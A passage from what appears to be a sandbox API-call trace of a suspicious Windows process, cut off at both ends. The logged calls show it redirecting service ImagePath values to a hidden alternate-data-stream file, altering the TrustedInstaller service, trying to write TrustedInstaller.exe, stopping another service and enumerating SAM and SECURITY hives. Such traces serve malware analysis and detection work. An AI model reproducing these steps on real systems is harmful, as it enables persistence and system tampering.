lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1e38, cbData=0x6) returned 0x6 [0254.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0254.080] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1e38, cbData=0x1) returned 0x6 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.080] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.081] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.082] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.082] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.082] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0x1) returned 0x6 [0254.082] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0254.082] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0254.082] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0254.082] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0254.082] LocalFree (hMem=0x7f03d0) returned 0x0 [0254.082] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1d60, cbData=0x2f) returned 0x6 [0254.082] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x803990 [0254.082] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0254.084] CloseServiceHandle (hSCObject=0x803990) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0254.084] RegCloseKey (hKey=0x14c) returned 0x0 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0254.084] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0254.084] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0254.085] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0254.085] GetLastError () returned 0x5 [0254.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0254.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0254.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0254.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0254.092] NtClose (Handle=0x14c) returned 0x0 [0254.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0254.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0254.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0254.391] NtClose (Handle=0x14c) returned 0x0 [0254.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0254.391] NtClose (Handle=0x148) returned 0x0 [0254.391] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0254.463] NtClose (Handle=0x150) returned 0x0 [0254.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0254.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0254.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0254.464] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0254.464] GetLastError () returned 0x5 [0254.464] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0254.465] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0254.465] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0254.465] OpenServiceW (hSCManager=0x803918, lpServiceName="NetPipeActivator", dwDesiredAccess=0x20) returned 0x8038a0 [0254.465] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x433, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0254.465] GetLastError () returned 0x426 [0254.465] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0254.466] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.466] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.466] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0254.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.467] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.467] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.467] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.467] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0254.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.468] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.468] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0254.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0254.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.468] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1cd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.469] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, 